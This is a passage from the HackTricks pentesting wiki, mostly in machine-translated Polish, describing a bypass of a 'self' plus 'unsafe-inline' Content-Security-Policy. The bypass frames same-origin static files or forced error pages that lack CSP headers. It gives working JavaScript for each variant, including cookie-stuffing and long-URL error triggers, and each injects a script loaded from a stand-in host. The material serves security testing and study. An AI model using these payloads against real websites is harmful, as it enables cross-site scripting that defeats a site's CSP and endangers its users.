CSP bypass: self + 'unsafe-inline' with Iframes

Wsparcie HackTricks

Konfiguracja taka jak:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Prohibits usage of any functions that execute code transmitted as a string. For example: eval, setTimeout, setInterval will all be blocked because of the setting unsafe-eval

Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS

Via Text & Images

Zauważono, że nowoczesne przeglądarki konwertują obrazy i teksty na HTML, aby poprawić ich wyświetlanie (np. ustawianie tła, centrowanie itp.). W związku z tym, jeśli plik obrazu lub tekstu, taki jak favicon.ico lub robots.txt, jest otwierany za pomocą iframe, jest renderowany jako HTML. Należy zauważyć, że te strony często nie mają nagłówków CSP i mogą nie zawierać X-Frame-Options, co umożliwia wykonanie dowolnego JavaScriptu z nich:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Via Errors

Podobnie, odpowiedzi błędów, takie jak pliki tekstowe lub obrazy, zazwyczaj przychodzą bez nagłówków CSP i mogą pomijać X-Frame-Options. Błędy mogą być wymuszone do załadowania w iframe, co pozwala na następujące działania:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Po wywołaniu któregokolwiek z wymienionych scenariuszy, wykonanie JavaScriptu w obrębie iframe jest możliwe w następujący sposób:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Odnośniki

Wsparcie HackTricks

Last updated